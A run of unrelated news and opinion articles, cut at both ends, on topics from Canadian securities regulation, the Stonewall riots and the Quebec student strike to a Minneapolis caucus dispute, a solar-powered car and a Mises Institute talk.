Manitoba, Alberta — standing in that group,” says Ms. Whalen.  “But in the bigger picture, we’re looking at keeping the door open.”  As for the three territories, “I think they’ll fall in as soon as the others do,” says Mr. Crowley, at the MacDonald-Laurier Institute.  Perhaps, but governments in northern Canada believe they have ongoing issues with the Cooperative System that need to be resolved before any can join up.  David Ramsay, the Northwest Territories’ Minister of Justice and Industry, Tourism and Investment, says “in particular, there’s no provision for a local office in the Northwest Territories in the MOA (memorandum of agreement), as there is for all the participating provinces.”  “We’ve had assurances in the past that there would continue to be a local office here in the NWT, but this has not been provided for in the MOA,” he argues.  “I have to underscore the willingness of our territory to be at the table, to work together to try to come to an agreement on all of the issues.”  The Macdonald-Laurier’s Mr. Crowley believes that “ultimately, we’ll get all the provinces and territories [in the Cooperative System], with the exception of Quebec and Alberta. I think Alberta one day will come in.”  “I don’t think we’ll ever get Quebec on board. But getting nine provinces — or even eight — and three territories . . . will be a huge advance from where we are now.”  In fact, Heather Zordel, a lawyer with Toronto law firm Cassels Brock who specializes in securities regulation, says “it’s not really necessary to push this down everybody’s throats.”  “It’s necessary to work with some of the people that want to work with it and try to get it up and running . . . . If you sit there and try to make it perfect before you launch, you’ll just never to get anywhere,” says Ms. Zordel, who worked with the earlier ground-setting Expert Panel on Securities Regulation.  “We would all agree that this is a work in progress. The main issue is just to get it launched and then we will go from there. A securities regulator will never be perfect. It’s always evolving and it evolves quickly. And that is why we need to have a body that will be able to move effectively, quickly on a go-forward basis for the next hundred years.”  “I’m very positive. It’s been 60 years in the making.”  Financial Post  gisfeld@nationalpost.com  Twitter.com/gisfeld  Correction: The Canadian Securities Transition Office continues to assist in the establishment of a national cooperative securities regulator in Canada. Incorrect information appeared in Monday’s edition of the Financial Post.
-In the early morning hours of June 28, 1969, violent protests and street demonstrations took over the streets of New York after a police raid of Stonewall Inn, the now-legendary Greenwich Village gay bar. Known as the Stonewall Riots, these protests are commonly considered the tipping point at which the LGBT community coalesced into political cohesion and the birth of the modern gay rights movement. On that June morning, equality for all seemed a distant but necessary dream — a dream that finally became a reality.  In Stonewall: The Riots That Sparked the Gay Revolution (public library), David Carter contextualizes the remarkable delta of progress that the Stonewall Riots precipitated:  It was only a few decades ago — a very short time in historical terms — that the situation of gay men and lesbians was radically different from what it is today. At the end of the 1960s, homosexual sex was illegal in every state but Illinois. Not one law — federal, state, or local — protected gay men or women from being fired or denied housing. There were no openly gay politicians. No television show had any identifiably gay characters. When Hollywood made a film with a major homosexual character, the character was either killed or killed himself. There were no openly gay policemen, public school teachers, doctors, or lawyers. And no political party had a gay caucus.  In 1970, to mark the first anniversary of the Stonewall uprisings, the very first Gay Pride marches took place in New York, Los Angeles, San Francisco, and Chicago.  Digging through the New York Public Library archives, I unearthed some goosebump-inducing photographs from the first-ever Pride parades around the world:  For the complete cultural context on this tidal change, Stonewall: The Riots That Sparked the Gay Revolution is indispensable in its entirety.
-WASHINGTON, D.C. -- U.S. Sen. Charles Schumer doesn't expect to agree on most things with President Donald Trump over the next four years. But the Senate Democratic leader thinks the two can find common ground when it comes to entertaining at the White House.  Schumer, D-N.Y., sent a letter Wednesday to the White House asking Trump to buy American-made china, flatware and glassware to send a positive message to U.S. manufacturers.  In particular, Schumer used his letter to tout Sherrill Manufacturing in Oneida County, America's only remaining flatware maker.  "There is no better way to display America's greatest workforce and high-quality products than the White House using 'Made in America' products every day, and during special events like state dinners," Schumer said.  "Hopefully, the White House will heed my call so heads of states will sip their soup, cut their steak and bite on forks made right here in America," he said.  Trump, who campaigned on the slogan "Make America Great Again," has often cited the loss of manufacturing jobs in Upstate New York as he traveled across the nation.  Seeing an opportunity, Sherrill Manufacturing last week sent Trump a package with a five-piece sample of its "Betsy Ross" flatware line and a letter suggesting he might want to consider using the brand as the new White House flatware.  Matthew Roberts, the company's co-owner and chief operating officer, told Syracuse.com Wednesday afternoon that he has not yet received a reply from Trump or the White House.  "We are asking him to be true to his word and buy American," Roberts said.  Sherrill Manufacturing took over the former Oneida Ltd. factory in 2005 and now make 22 flatware patterns including the Betsy Ross line.  Since then, Sherrill Manufacturing has become one of the top flatware suppliers to the U.S. military and other federal agencies with a mandate to buy American-made products.  With the help of a complaint filed by Schumer, the company won a dispute in March with the U.S. General Services Administration over companies that falsely claimed their forks, knives and spoons were made in the United States.  That leaves Sherrill Manufacturing's flatware brand, Liberty Tabletop, as the only brand made in the United States.  Sherrill Manufacturing sells directly to the public through its Liberty Tabletop website and through online retailers that specialize in American-made products.  Contact Mark Weiner anytime: Email | Twitter | Facebook | 571-970-3751
-Newswise — The rate of diagnosis for autism spectrum disorders (ASD) is the same among all racial groups — one in 110, according to current estimates. However, a study by a Florida State University researcher has found that African-American children tend to be diagnosed later than white children, which results in a longer and more intensive intervention. The reasons for later diagnoses include a lack of access to quality, affordable, culturally competent health care, according to Martell Teasley, an associate professor in Florida State’s College of Social Work who has conducted a comprehensive review of researchliterature on autism and African-American children. In addition, the stigmaattached to mental health conditions within the black community contribute to misdiagnoses of autism, and underuse of available treatment services. “There are no subjective criteria for diagnosing autism. Only brain scans can truly provide appropriate diagnoses, because we are dealing with biological and chemical imbalances in the brain,” Teasley said. “Not every child is going to have access to this kind of medical evaluation, particularly those who are indigent and don’t have health care funding.” Teasley examined ASD diagnosis and treatment strategies, and their effect on African-American families, in “Autism and the African-American Community,” a paper published in a special issue of the journal Social Work in Public Health (Vol. 26, Issue 4, 2011) that dealt with health-care policy issues in the black community related to the human genome. Teasley co-wrote the paper with Ruby Gourdine, a professor of social work at Howard University in Washington, D.C., and Tiffany Baffour, an associate professor of social work at Winston-Salem State University in North Carolina. Because of the social stigma, Teasley says that some African-American families might be resistant to accept a diagnosis and treatment. “Less discussion about autism among African-Americans or between African-Americans and health care providers leads to misdiagnoses, a lack of treatment and a lack of services,” Teasley said. “This will lead to greater challenges for families — more stress and anxiety, and poorer developmental outcomes.” African-Americans also might resist a diagnosis and treatment because of a mistrust of mainstream health care providers over past discrimination. “African-Americans are well versed in going to a doctor who might have biases or discriminatory practices, so they may not readily accept what a doctor says,” Teasley said. In addition, a cultural divide between African-Americans and mainstream health care providers can hinder a timely and correct diagnosis. “There are not enough health care professionals who understand the cultural norms and attributes of the African-American community,” Teasley said. African-Americans live in all types of settings, but the majority live in urban areas, which have seen a decline in the number of mental-health care agencies since the 1980s. “This lack of accessibility causes a problem for some African-Americans,” Teasley said. Once a child is diagnosed with ASD, Teasley says both the child and the members of his or her family needs to receive appropriate training and counseling. “The children need behavioral counseling so they can develop the skills to live as independently as possible,” he said. “The families need to learn how to work with children who are autistic. “Intervention for any autistic child needs to start around age 3, so we can get the child to begin to learn how to eat right and develop normal, healthy routines, which will result in a better developmental outcome,” Teasley said. “Later intervention will result in a poorer developmental outcome that can have a lasting impact on the child’s and family’s quality of life.”
-Ready to fight back? Sign up for Take Action Now and get three actions in your inbox every week. You will receive occasional promotional offers for programs that support The Nation’s journalism. You can read our Privacy Policy here. Sign up for Take Action Now and get three actions in your inbox every week.  Thank you for signing up. For more from The Nation, check out our latest issue  Subscribe now for as little as $2 a month!  Support Progressive Journalism The Nation is reader supported: Chip in $10 or more to help us continue to write about the issues that matter. The Nation is reader supported: Chip in $10 or more to help us continue to write about the issues that matter.  Fight Back! Sign up for Take Action Now and we’ll send you three meaningful actions you can take each week. You will receive occasional promotional offers for programs that support The Nation’s journalism. You can read our Privacy Policy here. Sign up for Take Action Now and we’ll send you three meaningful actions you can take each week.  Thank you for signing up. For more from The Nation, check out our latest issue  Travel With The Nation Be the first to hear about Nation Travels destinations, and explore the world with kindred spirits. Be the first to hear about Nation Travels destinations, and explore the world with kindred spirits.  Sign up for our Wine Club today. Did you know you can support The Nation by drinking wine?  The 2010 British student demonstrations awoke the austerity generation. The 2011 Chilean Winter frightened tight-belted administrators the world-round. And now, Quebec’s 2012 Maple Spring is showing neoliberals that if they’re going to hike tuition, it’ll be over striking student bodies. Ad Policy  As the spirit of youth protest winds westward, one wonders: Why don’t American students strike? And more broadly, what can US student activists learn from Montreal about making a movement mass?  As a recent graduate and student organizer, I headed north last month to compare notes with my Canadian counterparts.  Average annual tuition in Quebec stands at $2,500, dwarfed by America’s average tuition of $12,800 at public institutions and $32,000 at private ones. The average Quebec student debt is a mere $13,000 compared with America’s $25,000. And in 2012, 7.2 percent of US college grads were unemployed, beating out Quebec’s 6.3 percent.  According to the Associated Press, 53.6 percent of Americans under 26 with a Bachelor’s are jobless or underemployed. That’s 1.5 million people. That could fill a lot of streets.  So why are they empty?  Some point to uniquely American challenges. Simeon Talley explains in Campus Progress that the transformation to a bottom-line society, which is what students are protesting abroad, “has long taken hold in the US,” and retro-activism is too damn discouraging. In The American Prospect, Courtney Martin points to American class divisions, which make elite do-gooders look to developing countries rather than their own classrooms to score charity points.  Others argue that American student mobilizations do flare up, like Liz Dwyer of Good magazine. Dwyer admires UC Berkeley students’ protests against tuition increases, but notes that maintaining a movement for months “is unheard of in the 21st century United States.”  City University of New York students Biola Jeje and Isabelle Nastasia, who are fighting a five-year $1,500 tuition bump, argue that a mass movement could be sustained if the right infrastructure were in place. Specifically, if students “establish radical, federated student unions,” modeled after Montreal, to replace the “currently weak systems of student participation.”  But American students can’t just mail-order unions from Quebec. No manual can explain the student union culture that’s necessary to make them effective. However, a case study of an Anglophone university in Montreal might help.  “We always say French schools, they are so mobilized. We always look up to them,” said Rushdia Mehreen, a master’s student in Geography Planning and Environment at the primarily English-speaking Concordia University in Montreal.  Francophone schools have a tradition of activism in Quebec, Mehreen explained, but at Anglophone universities like Concordia, the customs are far less understood and practiced.  Although English activists like Mehreen have been vocal since tuition hikes were announced in April 2010, their schools remained largely quiet. In the winter of 2011, Concordia began taking steps to join its French counterparts.  Mehreen, along with other activists from Free Education Montreal and Concordia Mob Squad, initiated an information campaign, which included the seminal “23 Answers for Students,” addressing the history, justifications, and concerns about an unlimited general strike in a step-by-step manner. “We had to cater…to people not coming from Quebec,” Mehreen admitted.  They also engaged students through dialogue, hosting town hall meetings for “everyone to argue their point of view,” and holding debates to discuss common ideological barriers like, “if you want your education to be of high quality, then you have to pay for it.”  The campaign culminated in a massive November 10 march, with two hundred thousand Montreal students striking (including Concordia’s graduate and Arts & Sciences students) and thirty thousand stomping in the streets. This served as an ultimatum before an unlimited general strike.  In preparation for a possible strike, Concordia stepped up its cultural makeover through an intensive immersion experience. Francophone and Anglophone universities formally linked up, which was transformative for many English organizers. “They were ten times ahead of us,” Mehreen said.  Over the winter holidays, Mehreen co-organized a two-day training camp (a Francophone activist tradition) with this inter-cultural group. Her review: It provided the Anglophone activists in the “A to Z of what we needed to know as mobilizers.”  The relationship led to joint actions, including a bilingual demo called “Don’t Fuck with Notre [Our] Éducation.” Mehreen felt that “these encounters helped us immerse more in the movement because before that it was like Anglophone students were not really taking part in it.”  Come springtime at Concordia, “The atmosphere…was totally changed,” said Mehreen. The organizing core grew, and many students were asking how to hold General Assemblies in their own departments. “It was contagious, basically.”  On March 5, Concordia embarked on its first ever unlimited general strike in several departments. Later that month, Concordia struck university-wide for one week.  The neophyte strikers quickly ran into problems. The inexperienced administrators threatened activists or barred them from campus, and called for all faculty, staff, and students to report anyone participating in strike activities. This led some disgruntled students to break through picket lines, while some departments simply didn’t hold a General Assembly to continue the strike.  Still, Mehreen believed that the school gained some activist muscle that’s not going to atrophy. “These departmental associations are politicized now.” Mehreen’s story demonstrates how building infrastructure for each department and faculty to hold assemblies can be instrumental in sustaining a movement.  Concordia’s narrative also identifies culture as a crucial complement to infrastructure — it wasn’t until the organizing core shared Francophone activist culture that Concordia students used the unions to mobilize en masse and join the movement.  What about Francophone organizing culture sparked the mobilization?  At the demonstrations and assemblies I attended, there was a noticeable lack of infighting. In my experience with American college and Occupy organizing, conflict over issues of process (everyone feeling like their voice is heard) and goals (radical or reformist political visions) are often prevalent.  In searching for an explanation to Montreals’ relative harmony and success in building a mass movement, I returned to Mehreen’s description of the culture of L’Université du Québec à Montréal, which she tried to emulate: “combative syndicalism…to fight for our rights.”  Syndicalism is a principle many of my interviewees repeated. It refers to a sort of union-based collectivism. Academically, it’s defined as an alternative to capitalism and state socialism, relying on federations of multiple non-competitive units to manage the economy. In practice in Montreal, it amounted to a strong respect for autonomous decision-making, genuine trust within groups, and an intense sense of solidarity and collective purpose.  Mehreen asserted that this syndicalism was in the DNA of Quebecois organizing. Naturally, it was expressed in the movement’s foundational political body: the General Assembly.  The General Assembly at L’Université du Québec à Montréal was rather mundane. A group of biology students wanted an exception to the strike. They would lose a semester’s worth of lab work if they didn’t complete it by the fall, and only needed two weeks to finish.  A student brought up the implications of making exceptions. Someone raised that summer session wasn’t official. Another slipped “if the strike ever ends” into his statement and got laughs. An amendment was offered: the biology students do the lab work over the summer, but don’t submit them for grades until later so that their transcript doesn’t report classes taken during the strike. The resolution squeaked by with the necessary two-thirds majority. I checked my watch. It’d been forty-five minutes.  Coming from Occupy Philly — which is deciding whether to continue to have General Assemblies at all, and is working on a consensus-based process partially because some consider voting to be violent — the contrast was stark.  Occupy’s “step up, step back” anti-oppression policy and radical horizontalism calls for participants to favor underrepresented voices by taking into account how privilege embedded in their identities affects their language, manner, and ideas. The assembly at L’Université du Québec à Montréal, which was governed by principles similar to Robert’s Rules, simply asked that no one speak twice before everyone got a chance to speak once, that speakers alternate in gender, and that nominated facilitators be approved by a vote.  The structure is designed for efficiency and accountability all the way down. The individual member associations of CLASSE adopt positions in general assemblies. Delegates from these individual associations then attend and vote according to the mandate they’ve been given at CLASSE’s congresses held every weekend. Occupy exerts great effort to ensure that all participants feel like their concerns have been heard, while Montrealers focus more on productivity and yet few seem to feel hurt or excluded.  Quebec’s particular culture of solidarity, or syndicalism, engenders the trust necessary for a union structure to function well. The culture also fosters a sense of inclusivity and understanding that makes the movement more inviting to all students.  “It’s not about tuition for me, and it never was,” said Mehreen. Both Mehreen and Noemi Stern, an activist at McGill University in Montreal, have political visions that extend far beyond a tuition freeze. Stern hopes for small, autonomous, democratic communities, while Mehreen wants an end to privatization of public services.  But the manifencours (a name for the protests meaning “manifestations in the streets”) are not about dismantling the system, and these radical-leaning activists are okay with that. “We went on strike on those demands, so we want a resolution,” Mehreen declared. Even if a tuition freeze feels inadequate or social change based in the political system seems reformist, they remain committed to their classmates.  Mehreen personally convinced students that striking works, and that the 75 percent tuition hike was the reason to strike now. Mehreen’s sense of obligation and respect for the student union’s decisions makes her want to include students with a range of political views, including those counter to her own.  “We just want to go to school,” cried Zupa Semitego, a protester without particularly radical aspirations who has been shocked by police repression. She claimed, “[The police] made this into a bigger thing than it is.” According to Mehreen, once involved, many like Semitego have become radicalized through the experience of participatory democracy or the sting of pepper spray.  On American campuses, most students are not attracted to activist groups, and some feel alienated or even attacked by them. Is such solidarity even possible in America, particularly with its plurality of identities?  According to Wall Street Occupier Daniel Murphy, it’s not. “Shared identity. We don’t have that in America,” said Murphy, who came to Canada for the protests.  “There are so many different cultures in the US that they fractionalize,” Murphy claimed, pointing to splits in Chicago. “Occupy Chicago is now the college students which are mostly white. Occupy El Barrio…is mostly Latin American, and Occupy the Hood…is predominately African American.”  I went to Montreal’s culturally mixed Côte-des-Neiges for a neighborhood assembly, to see how Quebecois solidarity dealt with diversity. Despite a few instances of interruptions and overbearing speeches, the meeting was marked by smiles and excited conversation. This included an international student’s declaration that he identified as “a part of Quebec society until [his] last day in Canada.”  Stateside solidarity and student consciousness may be possible, but the activist culture must address the multitude of distinctly American issues.  “You cannot evict an idea whose time has come.”  This statement, put out on occupywallst.org after the encampments were shut down, is reiterated in activist circles nation-wide.  But a movement forged in the fire of pre-figurative politics, where the means are the ends, cannot just wield an idea.  An idea can be inhabited by an individual. A culture is inherently based on interactions between people. Culture is not convincing, but demonstrative. A culture is a manifencours, a manifestation, of a society that encompasses many ideas and principles, best articulated through practice.  John Dewey, the philosopher who pioneered “learning by doing,” wrote, “Education is a social process…education is not preparation for life but is life itself.” Spreading ideas helps people understand Occupy, but sharing culture helps people become Occupiers. A reorientation toward crafting a culture of accessible activism may allow students to learn by doing.  American students need to create their own organizing culture, perhaps incorporating Quebecois syndicalism but without ignoring the principles of radical horizontalism employed by Occupy to address the uniquely American inequalities engraved into our identities — or else suffer terminal fractures like movements past.  As the Occupy Student Debt Campaign takes off, and college dissidents congregate at the Student Power Convergence in August, let the project be creating an accessible activist culture to support a mass movement.
-Nearly a quarter of the turkey eaten in the U.S. is consumed on Thanksgiving. (Justin Sullivan/Getty Images)  There's a reason Thanksgiving has also come to be known as Turkey Day in the United States. The National Turkey Federation , an industry lobbying group, estimates that of the more than 200 million turkeys consumed in the U.S. in 2015, nearly a quarter of them were gobbled up on Thanksgiving.  When it comes to average annual poultry consumption per person, however, Israel is No. 1. Turkey became the nation's meat of choice early on, as it was cheaper than imported beef and required less refrigeration than chicken, an Israeli turkey farmer told the Times of Israel . The nation also credits itself with the invention of turkey pastrami.  Across the world, poultry accounts for about 2 percent of daily diets, according to data compiled by National Geographic . In places such as the U.S., Saudi Arabia and Argentina, the average is more like 5 percent.  Developing countries like Nigeria and Pakistan generally consume less poultry and other meat. But the Association of Poultry Processors and Poultry Trade in the EU predicts that production of poultry will account for half of the growth in meat production over the next decade, driven largely by increased consumption in developing nations and thanks to "various competitive advantages," including its healthy image, affordability, limited emission and absence of religious restrictions.  The cost of an average Thanksgiving-sized 16-pound turkey in the U.S. increased from $21.65 in 2014 to $23.04 in 2015, according to the American Farm Bureau Association, but the cost of a Thanksgiving meal has stayed rather consistent when adjusted for inflation.  Americans may not eat the most turkey, but each person consumed more than six Thanksgiving-sized turkeys in 2015. Here are the 10 countries that consume the most poultry per person, according to the 2016 edition of the Organization for Economic Co-operation and Development and Food and Agriculture Organization of the United Nations' Agricultural Outlook report .
-The minority cell of the ruling Trinamool Congress in West Bengal Sunday confirmed that the airing of a TV serial written by controversial Bangladeshi author Taslima Nasreen was postponed in accordance with the instructions of Chief Minister Mamata Banerjee.  Advertising  “She (Taslima) is a communal force whose work can hurt sentiments of the minority community here and spark a riot,” Idris Ali,chairman of All India TMC minority cell said.  He was talking to the reporters on the sidelines of a function organised to announce a team of leaders from the minority communities that would be visiting different parts of the country to woo regional parties and push for Mamata Banerjee as the prime ministerial candidate in the 2014 Lok Sabha elections.  Syed Md Nurur Rahman Barkati,Shahi Imam of Tipu Sultan Masjid,present on the occasion,said,“I told the editor of the channel that Taslima had received a lot of flak for her anti-Islam works and the people of Bengal would not take it lightly if her work was aired.”  They were referring to the postponement of Dusahobas,a TV serial based on a story written by Taslima.  Advertising  Earlier,Ali said that the team,led by Barkati,would visit Delhi,UP Bihar and Jharkhand,among other states and “talk to all secular parties and tell them that only Mamata Banerjee was good enough to fight the communal forces like Narendra Modi and the corruption of Congress.”
-Image copyright PA  Have you prayed for Fabrice Muamba today? His family are exhorting the country to believe in the power of prayer, and I suspect many millions of Britons, whether they have faith or not, will have felt moved to offer a silent appeal to an invisible power asking that the young footballer pull through.  The front page of today's Sun newspaper is devoted to the headline "God is in Control" below the subheading "Praying for Muamba". "In God's Hands" says the Daily Star. Chelsea defender Gary Cahill pulled off his shirt after scoring yesterday to reveal a vest encouraging supporters to "Pray 4 Muamba", his former team-mate.  Bolton Wanderers and Muamba's friends and relatives have said they have been touched by the out-pouring of goodwill towards the player. His club manager Owen Coyle said: "Everybody is praying for Fabrice, which is very important, and that has been a real source of strength to the family."  The dreadful sight of a young, apparently healthy athlete collapsing in front of tens of thousands of football fans is a sharp reminder of the unpredictability of all our lives. We can never be in total control of our destiny and so, like generations before us, at times of stress or crisis we look to the heavens in the search for meaning and hope.  Image copyright AP Image caption Chelsea defender Gary Cahill asks fans to pray  A BBC survey in 2004 suggested roughly six out of 10 people in the UK believe in some sort of divine being and research concludes that there is a basic human desire for supernatural involvement in matters of health and wellbeing.  In the Christian tradition, the New Testament states that "prayer offered in faith will make the sick person well" (James 5.15). It is a claim that pits medical rationalism against religious conviction and for centuries scientists and preachers have argued over the evidence that prayer works.  In 1872, Sir Francis Galton's classic paper Statistical Inquiries into the Efficacy of Prayer was published in The Fortnightly Review. He reasoned that, if praying was effective, then monarchs should live longer than comparable groups. Galton set about examining the mean age attained by men who had survived beyond the age of 13 between 1758 and 1843. The data excluded deaths by accident or violence.  The group who tended to live longest were the gentry (roughly 70 years) and the lowest mean was among members of royal houses (64 years). From this, Galton concluded that "the sovereigns are literally the shortest-lived of all who have the advantage of influence. The prayer has, therefore, no efficacy."  However, trust in the power of prayer remained. That pioneer of nursing Florence Nightingale was a believer, writing that "often when people seem unconscious, a word of prayer reaches them". A number of scientific experiments have been conducted over the years to try and demonstrate what effect, if any, intercessionary prayer might have.  Whatever you might think about its links to a supernatural being, intercessory prayer is a straightforward way for an individual to focus the mind on their capacity to think nice thoughts  A book entitled The Power of Prayer on Plants published in 1959 detailed the results of research involving 150 people and 27,000 seeds and seedlings. The author Franklin Loehr concluded that plants for which people prayed showed a better rate of survival and growth than plants which did not enjoy the benefit of prayer.  In 1988, the American doctor Randolph Byrd recruited some born-again Christians to pray outside a San Francisco coronary care unit for a randomized group among 400 patients. The remainder were not subject to prayers. His paper in the Southern Medical Journal concluded that patients in the intercessory prayer group had "a significantly lower severity score" than the control group.  "These data suggest that intercessory prayer to the Judeo-Christian God has a beneficial therapeutic effect in patients admitted to a CCU," he concluded.  In 2007, researchers at Arizona State University decided to do a systematic review of all the literature on the efficacy of prayer to see what picture emerged. In setting out its findings, the paper states that "although it is theoretically possible that a transcendent being exists and responds to prayer, it is also possible that prayer taps into presently undiscovered natural mechanisms that produce change".  The study looked at 17 previously published papers and found that "patients who received intercessory prayer demonstrated significant improvement" in seven of those. However, there were questions about the validity of some of the research and the evidence was not sufficient for "prayer" to meet the criteria required for an "empirically supported treatment" in the United States.  "Intercessory prayer offered on behalf of clients in clinical settings is a controversial practice, in spite of its apparent frequent occurrence. The topic is one that engenders both support and opposition, often passionately held," the research concluded.  "Thus, at this junction in time, the results might be considered inconclusive. Indeed, perhaps the most certain result stemming from this study is the following: The findings are unlikely to satisfy either proponents or opponents of intercessory prayer."  The evidence, however, is stronger in terms of the apparent efficacy of prayer on those who are doing the praying. A much-cited American paper from 1983 entitled "Are religious people nice people?" attempted to plot links between people who prayed and pro-social behaviour. The author concluded that "those who pray frequently" tend to be more cooperative and friendly.  A study in Britain of 4,000 12-15-year-olds conducted in 1992 by the academic and Anglican priest Leslie Francis found that "as many as one young person in every three who never has contact with church nonetheless prays at least occasionally". The frequency of personal prayer, he concluded, is "an important predictor of perceived purpose in life".  Whatever you might think about its links to a supernatural being, intercessory prayer is a straightforward way for an individual to focus the mind on their capacity to think nice thoughts. Anyone can close their eyes and make a wish that bad things do not happen. Right now, Britain is praying that Fabrice Muamba makes a speedy and full recovery.
-Two Minneapolis City Council candidates have challenged the outcome of last week’s DFL caucus in the Sixth Ward, a scene of confusion from which Council Member Abdi Warsame appears to have emerged victorious.  Warsame’s opponents, Mohamud Noor and Tiffini Flynn Forslund, filed separate challenges with the Minneapolis DFL Party late Thursday, asking that the party forgo endorsing a candidate in the ward, which includes Cedar-Riverside and parts of the Phillips and Seward neighborhoods. The challenges won’t be fully settled until the ward convention on May 6.  Turnout in the ward was massive, with 800 people at the Cedar-Riverside precinct alone. The Minneapolis DFL enlisted 100 volunteers from the state party to help in the Sixth Ward, said Minneapolis DFL Chairman Dan McConnell, and arranged for off-duty police officers to help direct traffic.  “It still wasn’t enough,” McConnell said. “I don’t know how we do it again.”  In her complaint, Flynn Forslund said she was “not prepared for the disorganization and chaos that erupted in many precincts.” While she was pleased with the participation, she said “rules were not followed in the fight to win between Noor and Warsame.”  A Noor supporter was writing delegate names down before a subcaucus at Elliot Park, and Warsame interpreters told participants to go home before a subcaucus in Ventura Village, Flynn Forslund said. Subcaucuses are the critical moment in a heavily attended caucus, since they determine how delegates are awarded.  Ayanna Yusef, an Abdi Warsame supporter, in the green t-shirt, explained the caucus results to some others after an official announced the results.  A Flynn Forslund staffer said she saw a Noor supporter and a Warsame supporter “literally” fight over an older woman at Stewart Park. Interpreters in at least two cases were provided by the Warsame campaign, which Flynn Forslund’s campaign found troubling.  The police were an “extremely negative force” at the caucuses in the Sixth Ward, said one Flynn Forslund staffer, adding that they “spent the majority of their time walking around sneering at people.” And at Seward Montessori, somebody pulled the fire alarm, causing people to leave before the caucus was over.  “There has to be a better way to regulate this democratic process,” Flynn Forslund wrote, and asked that there be no endorsement in the Sixth Ward.  Noor complained that the gymnasium at the Brian Coyle Community Center was not large enough for the caucus in Cedar-Riverside and that not all caucusgoers were able to register. Firefighters moved the caucus in that precinct from the gymnasium to Currie Field next door.  Noor also alleged that nonresidents participated in caucuses, and blamed Warsame supporters for “trickery and gimmicks” that created “fretfulness” at precinct caucuses, despite a pre-caucus meeting between the three candidates aimed at paving the way for a smooth caucus night.  “We strongly believe that the outcome of the DFL selection of delegates was conducted in an unjust way and has certainly violated our previous agreement and led to an unfair process disadvantaging my campaign,” Noor wrote in a letter to the Minneapolis DFL, asking that either the caucus results be thrown out or the DFL hold another caucus in the Sixth Ward.  Future fixes?  The DFL decided at a meeting Thursday not to hold another caucus, but a committee will look into the allegations and make a recommendation before the ward convention, McConnell said. The delegates selected at the caucus will decide at the convention what to do with the recommendation.  All campaigns were asked to bring translators to all precincts, McConnell said, to make sure translation was handled properly. In future elections, he said, the Somali community will have to work with the DFL on a better way to handle the caucuses, given the high turnout, the language barrier for many caucusgoers and the DFL’s struggles to keep things running smoothly.  “It can’t be people from the outside coming in and running it,” McConnell said. “They need leaders in the community to come together and figure this out.”  Warsame said Friday that his campaign had no reason to tamper with the process, since he was able to turn out more voters than his opponents.  “Why would we say ‘leave’ when we had the most people?” he said. “The challengers don’t have enough delegates, so they want to delegitimize and defranchise the community.”  Warsame also said he and Somali-Americans should be proud of the throngs of caucusgoers, some of whom stayed for five hours, especially given that two elections ago in 2009, very few participated.  “It was a huge turnout, and it was a bit of a mess,” Warsame said. “But people should be applauded for coming out and sticking with the process. These people stayed throughout, because they wanted to be counted.”
-You can keep your measly normal electric cars, Elon Musk — the real future of automotive power will be fully powered by the sun.  That's the vision a new Dutch auto startup, Lightyear, hopes the world is ready to embrace with a fully solar-powered, four-wheel-drive luxury sedan. Lightyear is just the latest challenger to Tesla's top spot in the green automotive space, but its claims about the potentially groundbreaking tech powered the car are bolder — and more suspect — than most.  The startup unveiled its Lightyear One concept earlier this week, touting a battery that can constantly replenish its power using the sun and travel a range of up to 800 km (almost 500 miles) when fully juiced. That's just the start: The company claims that in the right sunny environment (say, Hawaii), the One could potentially drive for months at a time between charges.  That would have big ramifications about electric vehicles; concerns about electric cars being restricted to regions with reliable charging networks would become moot with this type of tech. But as exciting as a solar-powered car is, it's still unproven outside of demos and prototypes.  SEE ALSO: Hummer factory gets second life making electric cars  The Lightyear team claims the car can fuel up with more than just sunshine. The One is equipped with an charging port for charging from an outlet, even a regular ol' household power socket. Lightyear claims that just plugging its car into a standard (3.7 kW) outlet for an hour would give you 40 km (about 25 miles) worth of power.  The solar power collected by the car's panels could be used to power more than just the One itself, allowing owners to transfer the energy into their homes, devices, and even other electric cars. This type of system isn't unlike how utility companies are harnessing nascent solar systems and batteries like Tesla's Powerwall to bolster their grids, but a mobile charger sharing power is a new wrinkle to the practice.  It's not exactly clear how the small company plans on producing its groundbreaking vehicles. The startup's FAQ section includes some vague language about a "fundamentally re-engineered" new architecture that will require a "revolutionary production process." They mention that industry partners have signed on to support the process, but don't offer any specific names.  Lightyear's founders aren't new to the solar car scene, which makes the One slightly more believable than other high-flung concepts with little real world documentation to back them up. The company was started by five former members of Solar Team Eindhoven, the group that created the four-seat Stella solar-powered car, which hit the US streets back in 2014.  The startup won't produce the One on a large scale, shooting for just 10 in 2019, with the next 100 "expected in 2020." You can can pre-order your own now in the EU and US, but, unsurprisingly, it won't come cheap. Reserving a One will run you a refundable €19,000 (around $21,700 at the current exchange rate) down payment, and the final cost is expected to be €119,000, a whopping $135,800.  The limited run won't cause industry giants like Tesla to lose any sleep just yet, and Lightyear still has to prove it can transfer its experimental tech into a fully realized consumer experience. If the company succeeds, however, we could be looking at a new automotive future, directly powered by the sun.
-[From a talk delivered at the Boston Mises Circle, October 1, 2016.]  A journalist from The Chronicle of Higher Education contacted me recently asking about free-market think tanks affiliated with universities. Can the Mises Institute or other organizations produce the scientific foundation for what he sees as an increasing faith among politicians in the power of free markets to solve societal problems and create the best outcomes? What, he asked, is the state of scientific evidence for this? Where’s the proof? How do we really know all this free-market stuff works?  I was tempted to respond with something snarky like “the 20th century.” But I know a hit piece when I see one, and did manage to have a very civil phone conversation with him, and gently explained that no, most politicians advocate a mixed economy, and so forth.  But what’s so striking is the degree to which this journalist, and so many people like him, are deeply suspicious of capitalism and its advocates, and are convinced that some sinister plot is afoot to impose “free-market fundamentalism” on the nation (he actually used that term). And of course he never sees state-funded universities, mainstream media, corporate America, or government officials as enormously well-funded advocates for his point of view.  On the contrary, he imagines himself an underdog!  Now I wish this were true — that the case for political liberalism and laissez-faire, made so plain both by theory and history, had finally overcome the majority of academics. I wish American universities were not “nurseries of socialism,” to use Ludwig von Mises’s phrase.  But, they remain just that, and actually much worse.  In fact, universities have deteriorated rapidly since Mises died in the 1970s. Gone is any pretext of academic freedom, what we used to call free inquiry. If we judge modern universities by one simple criterion — are they committed to seeking and teaching truth above all? — then we must conclude that they are failing in their mission. We must conclude that they are committed to a political, economic, social, and cultural agenda that has little to do with truth-seeking.  In this sense, today’s campuses are a microcosm of what progressives have in store for society in general. And part of that vision requires a degree of collective ignorance and even amnesia about entire fields of knowledge. It relates directly to my message for you today — namely that we, intelligent laypeople, allowed economics to be lost.  A few weeks ago at our event in Asheville, North Carolina, I spoke about how economics has become a broken profession.  My point was that we now have an entire generation of supposedly mainstream economists who fundamentally:  Don’t 